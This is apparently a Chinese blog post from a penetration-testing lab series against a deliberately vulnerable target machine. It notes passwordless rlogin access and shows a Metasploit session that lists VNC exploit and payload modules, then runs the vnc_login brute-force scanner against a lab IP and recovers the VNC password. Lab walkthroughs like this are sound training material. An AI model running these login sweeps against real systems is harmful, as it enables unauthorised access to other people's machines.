渗透测试靶机实战---系统篇04

（续）渗透测试靶机实战---系统篇03

---

10. rlogin Passwordless / Unencrypted Cleartext Login

 

上面可以看到直接空密码，rlogin直接进入到系统。

---

11.

上面openVas已经爆出了密码为password，利用如下：

可以利用metasploit爆破如下：

msf5 auxiliary(scanner/rservices/rsh_login) > search vnc

Matching Modules
================

   #   Name                                                 Disclosure Date  Rank       Check  Description
   -   ----                                                 ---------------  ----       -----  -----------
   0   auxiliary/admin/vnc/realvnc_41_bypass                2006-05-15       normal     No     RealVNC NULL Authentication Mode Bypass
   1   auxiliary/scanner/vnc/ard_root_pw                                     normal     Yes    Apple Remote Desktop Root Vulnerability
   2   auxiliary/scanner/vnc/vnc_login                                       normal     Yes    VNC Authentication Scanner
   3   auxiliary/scanner/vnc/vnc_none_auth                                   normal     Yes    VNC Authentication None Detection
   4   auxiliary/server/capture/vnc                                          normal     No     Authentication Capture: VNC
   5   exploit/multi/misc/legend_bot_exec                   2015-04-27       excellent  Yes    Legend Perl IRC Bot Remote Code Execution
   6   exploit/multi/vnc/vnc_keyboard_exec                  2015-07-10       great      No     VNC Keyboard Remote Code Execution
   7   exploit/windows/vnc/realvnc_client                   2001-01-29       normal     No     RealVNC 3.3.7 Client Buffer Overflow
   8   exploit/windows/vnc/ultravnc_client                  2006-04-04       normal     No     UltraVNC 1.0.1 Client Buffer Overflow
   9   exploit/windows/vnc/ultravnc_viewer_bof              2008-02-06       normal     No     UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow
   10  exploit/windows/vnc/winvnc_http_get                  2001-01-29       average    No     WinVNC Web Server GET Overflow
   11  payload/windows/vncinject/bind_hidden_ipknock_tcp                     normal     No     VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
   12  payload/windows/vncinject/bind_hidden_tcp                             normal     No     VNC Server (Reflective Injection), Hidden Bind TCP Stager
   13  payload/windows/vncinject/bind_ipv6_tcp                               normal     No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   14  payload/windows/vncinject/bind_ipv6_tcp_uuid                          normal     No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   15  payload/windows/vncinject/bind_named_pipe                             normal     No     VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
   16  payload/windows/vncinject/bind_nonx_tcp                               normal     No     VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
   17  payload/windows/vncinject/bind_tcp                                    normal     No     VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
   18  payload/windows/vncinject/bind_tcp_rc4                                normal     No     VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   19  payload/windows/vncinject/bind_tcp_uuid                               normal     No     VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   20  payload/windows/vncinject/find_tag                                    normal     No     VNC Server (Reflective Injection), Find Tag Ordinal Stager
   21  payload/windows/vncinject/reverse_hop_http                            normal     No     VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   22  payload/windows/vncinject/reverse_http                                normal     No     VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
   23  payload/windows/vncinject/reverse_http_proxy_pstore                   normal     No     VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
   24  payload/windows/vncinject/reverse_ipv6_tcp                            normal     No     VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
   25  payload/windows/vncinject/reverse_nonx_tcp                            normal     No     VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   26  payload/windows/vncinject/reverse_ord_tcp                             normal     No     VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   27  payload/windows/vncinject/reverse_tcp                                 normal     No     VNC Server (Reflective Injection), Reverse TCP Stager
   28  payload/windows/vncinject/reverse_tcp_allports                        normal     No     VNC Server (Reflective Injection), Reverse All-Port TCP Stager
   29  payload/windows/vncinject/reverse_tcp_dns                             normal     No     VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
   30  payload/windows/vncinject/reverse_tcp_rc4                             normal     No     VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   31  payload/windows/vncinject/reverse_tcp_rc4_dns                         normal     No     VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   32  payload/windows/vncinject/reverse_tcp_uuid                            normal     No     VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
   33  payload/windows/vncinject/reverse_winhttp                             normal     No     VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
   34  payload/windows/x64/vncinject/bind_ipv6_tcp                           normal     No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
   35  payload/windows/x64/vncinject/bind_ipv6_tcp_uuid                      normal     No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
   36  payload/windows/x64/vncinject/bind_named_pipe                         normal     No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
   37  payload/windows/x64/vncinject/bind_tcp                                normal     No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
   38  payload/windows/x64/vncinject/bind_tcp_rc4                            normal     No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   39  payload/windows/x64/vncinject/bind_tcp_uuid                           normal     No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
   40  payload/windows/x64/vncinject/reverse_http                            normal     No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   41  payload/windows/x64/vncinject/reverse_https                           normal     No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   42  payload/windows/x64/vncinject/reverse_tcp                             normal     No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
   43  payload/windows/x64/vncinject/reverse_tcp_rc4                         normal     No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   44  payload/windows/x64/vncinject/reverse_tcp_uuid                        normal     No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
   45  payload/windows/x64/vncinject/reverse_winhttp                         normal     No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
   46  payload/windows/x64/vncinject/reverse_winhttps                        normal     No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
   47  post/multi/gather/remmina_creds                                       normal     No     UNIX Gather Remmina Credentials
   48  post/osx/gather/enum_chicken_vnc_profile                              normal     No     OS X Gather Chicken of the VNC Profile
   49  post/osx/gather/vnc_password_osx                                      normal     No     OS X Display Apple VNC Password
   50  post/windows/gather/credentials/mremote                               normal     No     Windows Gather mRemote Saved Password Extraction
   51  post/windows/gather/credentials/vnc                                   normal     No     Windows Gather VNC Password Extraction


msf5 auxiliary(scanner/rservices/rsh_login) > use auxiliary/scanner/vnc/vnc_login
msf5 auxiliary(scanner/vnc/vnc_login) > show options

Module options (auxiliary/scanner/vnc/vnc_login):

   Name              Current Setting                                                   Required  Description
   ----              ---------------                                                   --------  -----------
   BLANK_PASSWORDS   false                                                             no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                                                                 yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false                                                             no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false                                                             no        Add all passwords in the current database to the list
   DB_ALL_USERS      false                                                             no        Add all users in the current database to the list
   PASSWORD                                                                            no        The password to test
   PASS_FILE         /usr/share/metasploit-framework/data/wordlists/vnc_passwords.txt  no        File containing passwords, one per line
   Proxies                                                                             no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                                                                              yes       The target address range or CIDR identifier
   RPORT             5900                                                              yes       The target port (TCP)
   STOP_ON_SUCCESS   false                                                             yes       Stop guessing when a credential works for a host
   THREADS           1                                                                 yes       The number of concurrent threads
   USERNAME          <BLANK>                                                           no        A specific username to authenticate as
   USERPASS_FILE                                                                       no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false                                                             no        Try the username as the password for all users
   USER_FILE                                                                           no        File containing usernames, one per line
   VERBOSE           true                                                              yes       Whether to print output for all attempts

msf5 auxiliary(scanner/vnc/vnc_login) > set RHOSTS 192.168.10.149
RHOSTS => 192.168.10.149
msf5 auxiliary(scanner/vnc/vnc_login) > run

[*] 192.168.10.149:5900   - 192.168.10.149:5900 - Starting VNC login sweep
[+] 192.168.10.149:5900   - 192.168.10.149:5900 - Login Successful: :password
[*] 192.168.10.149:5900   - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

---

（未完待续）渗透测试靶机实战---系统篇05